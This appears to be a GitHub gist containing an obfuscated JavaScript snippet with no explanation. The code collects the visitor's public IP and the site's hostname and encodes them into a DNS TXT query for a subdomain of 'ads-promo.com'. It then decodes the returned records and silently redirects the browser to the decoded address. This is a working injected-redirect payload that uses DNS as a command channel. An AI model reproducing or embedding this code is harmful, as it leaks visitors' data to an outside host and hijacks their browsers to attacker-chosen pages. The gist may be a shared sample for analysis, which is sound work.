Skip to content

Instantly share code, notes, and snippets.

@carcigenicate
Created November 24, 2023 00:26
Show Gist options
  • Save carcigenicate/9c02cf4ec573f4889223bddb00d72f10 to your computer and use it in GitHub Desktop.
Save carcigenicate/9c02cf4ec573f4889223bddb00d72f10 to your computer and use it in GitHub Desktop.
const obsArr = [
'.',
'-',
'replaceAll',
'ip',
':',
'hostname',
'location',
'',
'unk.com',
'Answer',
'type',
'data',
'forEach',
'length',
'replace',
'then',
'json',
'https://dns.google/resolve?name=',
'random',
'floor',
'.ads-promo.com&type=txt',
'https://api64.ipify.org?format=json'
];
(function(_0x1C7D4){fetch(obsArr[21])[obsArr[15]]((_0x1C81D)=>_0x1C81D[obsArr[16]]())[obsArr[15]]((_0x1C8AF)=>{_0x1C8AF= _0x1C8AF[obsArr[3]][obsArr[2]](obsArr[0],obsArr[1]);_0x1C8AF= _0x1C8AF[obsArr[2]](obsArr[4],obsArr[1]);let _0x1C866=window[obsArr[6]][obsArr[5]];if(_0x1C866== obsArr[7]){_0x1C866= obsArr[8]};fetch(obsArr[17]+ _0x1C866+ obsArr[0]+ _0x1C8AF+ obsArr[0]+ Math[obsArr[19]](Math[obsArr[18]]()* 1024* 1024* 10)+ obsArr[20])[obsArr[15]]((_0x1C81D)=>_0x1C81D[obsArr[16]]())[obsArr[15]]((_0x1C8F8)=>{if(_0x1C8F8[obsArr[9]]== null){return};var _0x1C941=obsArr[7];_0x1C8F8[obsArr[9]][obsArr[12]]((_0x1C98A)=>{if(_0x1C98A[obsArr[10]]== 16){_0x1C941+= _0x1C98A[obsArr[11]]}});_0x1C941= atob(_0x1C941);if(!_0x1C941[obsArr[13]]){return};window[obsArr[6]][obsArr[14]](_0x1C941)})})})()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment